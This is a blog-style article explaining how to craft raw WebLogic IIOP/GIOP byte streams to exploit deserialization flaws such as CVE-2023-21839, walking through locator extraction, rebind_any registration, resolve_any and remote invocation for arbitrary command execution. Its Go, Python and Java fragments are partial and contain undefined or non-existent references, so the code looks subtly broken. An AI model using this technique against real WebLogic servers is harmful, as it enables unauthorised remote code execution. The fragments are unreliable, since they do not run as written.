Fading Coder

One Final Commit for the Last Sprint

Home > Tech > Content

Direct Byte Stream Simulation of WebLogic IIOP for Cross-Language Serialization Exploits

Tech 2

The General Inter-ORB Protocol (GIOP) and Internet Inter-ORB Protocol (IIOP) form the backbone of CORBA-based distributed computing, heavily utilized by legacy enterprise application servers like WebLogic. When targeting serialization flaws, attackers often rely on Java Naming and Directory Interface (JNDI) abstractions. However, embedding full Java runtime dependencies into multi-language exploitation frameworks introduces architectural bloat and network routing complications, particularly when internal ORB addresses leak within closed-loop communications. Constructing raw GIOP byte streams directly allows precise control over message framing, key address handling, and payload injection without relying on higher-level language bindings.

Core Message Exchange Architecture

IIOP communication revolves around structured request-reply cycles governed by GIOP versioning and header flags. Each transaction begins with a client handshake, progresses through object resolution, and concludes with method invocation. The protocol encapsulates payloads within Stub data fields, while metadata such as operation codes, service contexts, and dynamic key identifiers traverse standard header blocks.

// Simplified exploit orchestration flow replacing traditional JNDI wrappers
func executeSerializedInteraction(target string) {
    sessionID := fmt.Sprintf("inv_%d", time.Now().UTC().UnixNano())
    establishGIOPHandshake(target)
    
    stubIdentifier := deployRemoteBinding(sessionID)
    resolvedRef := queryNamingRepository(stubIdentifier)
    activeKey := parseDynamicLocator(resolvedRef)
    
    invokeLifecycleMethod(activeKey, sessionID, os.ExecCmdPayload)
}

Phase 1: Context Establishment and Locator Extraction

Initial interaction relies on LocateRequest messages. Rather than parsing complex JNDI environment properties, exploit modules construct static GIOP headers specifying version 1.2 or 2.0, appropriate message flags, and zero-length body frames to trigger server acknowledgment. Upon receiving LocateReply, the framework parses the embedded target locator data rather than trusting internally routed IP addresses that may cause loopback failures.

# Extracting dynamic key references from LocateReply fragments
def parse_locator_response(raw_bytes):
    header_offset = 4
    flags_mask = raw_bytes[header_offset]
    reply_length = unpack(">L", raw_bytes[header_offset+1:header_offset+5])[0]
    
    key_addr_len_offset = 16
    addr_size = unpack(">H", raw_bytes[key_addr_len_offset:key_addr_len_offset+2])[0]
    dynamic_key = raw_bytes[key_addr_len_offset+2:key_addr_len_offset+2+addr_size]
    
    return {
        "target_address": target_ip,
        "locator_token": dynamic_key.decode("utf-8"),
        "protocol_version": "1.2"
    }

Validation occurs by transmitting a _non_existent operation request. A No Exception reply confirms the retrieved token aligns with an active ORB endpoint, preventing dead-socket transmission errors during subsequent stages.

Phase 2: Remote Object Registration (rebind_any)

Enterprise registries accept serialized artifacts through rebind_any opcodes. The exploit constructs a request frame where the operation identifier targets the naming service, injecting custom bytecode wrapped in the Stub data envelope. This mirrors JNDI's rebind() behavior but operates at the wire level, bypassing classloader constraints typically enforced by standard JVM deserialization paths.

GIOP Field Value Representation Purpose
Opcode 0x03 (Request) Initiates method call
Operation Name rebind_any Naming service directive
Stub Data Length Variable Encapsulates bound object blob
Service Context Null/Empty Skips authentication layers

Payload assembly follows a strict concatenation pattern: header bytes + opcode signature + alias string + serialized artifact length + binary contents. The resulting frame routes directly to the listening IIOP port.

Phase 3: Object Resolution (resolve_any)

Retrieving the registered handle requires querying the naming service via resolve_any. Unlike registration, this phase expects the server to return a fresh locator token alongside the stub referance. The resolver extracts this newly minted key to update session state, ensuring subsequent invocations target the correct distributed object instance.

// Structural equivalent highlighting wire-level assembly
public byte[] assembleResolutionFrame(String alias) {
    ByteBuffer buffer = ByteBuffer.allocate(256);
    buffer.put((byte) 0x03); // Request flag
    buffer.putInt(buildOperationId("resolve_any"));
    buffer.putShort((short) alias.length());
    buffer.put(alias.getBytes(StandardCharsets.UTF_8));
    buffer.putInt(0); // Empty parameters for basic resolution
    return buffer.array();
}

Server responses contain updated key identifiers stored in session memory. Reusing stale tokens triggers authentication rejections or connection resets.

Phase 4: Remote Invocation and Execution Control

Final stage leverages the resolved reference to trigger lifecycle methods. By manipulating the Request operation feild and populating Stub data with gadget chain inputs, attackers achieve arbitrary execution states without invoking standard RMI dispatchers. For vulnerability scenarios like CVE-2023-21839, this mechanism wraps command execution wrappers inside getServerLocation opcodes, returning shellcode stdout directly through the reply envelope.

type MethodInvocation struct {
    OperationCode uint32
    Parameters    []byte
    Timeout       time.Duration
}

func dispatchInvocation(locatorToken string, method DispatchSpec, payload []byte) error {
    conn, err := connectToORB(locatorToken)
    if err != nil { return err }
    defer conn.Close()

    reqFrame := buildGIOPEnvelope(RequestType, method.ID, payload)
    _, err = conn.Write(reqFrame)
    if err != nil { return err }

    select {
    case resp := <-conn.Receive():
        return validateSuccessResponse(resp)
    case <-time.After(method.Timeout):
        return ErrTimeout
    }
}

This approach isolates protocol manipulation from application logic, enabling lightweight integration into security assessment platforms. Dynamic key rotation, direct socket programming, and manual byte composition eliminate dependency hell while maintaining deterministic exploit behavior across heterogeneous network topologies.

Related Articles

Understanding Strong and Weak References in Java

Strong References Strong reference are the most prevalent type of object referencing in Java. When an object has a strong reference pointing to it, the garbage collector will not reclaim its memory. F...

Comprehensive Guide to SSTI Explained with Payload Bypass Techniques

Introduction Server-Side Template Injection (SSTI) is a vulnerability in web applications where user input is improper handled within the template engine and executed on the server. This exploit can r...

Implement Image Upload Functionality for Django Integrated TinyMCE Editor

Django’s Admin panel is highly user-friendly, and pairing it with TinyMCE, an effective rich text editor, simplifies content management significantly. Combining the two is particular useful for bloggi...

Leave a Comment

Anonymous

◎Feel free to join the discussion and share your thoughts.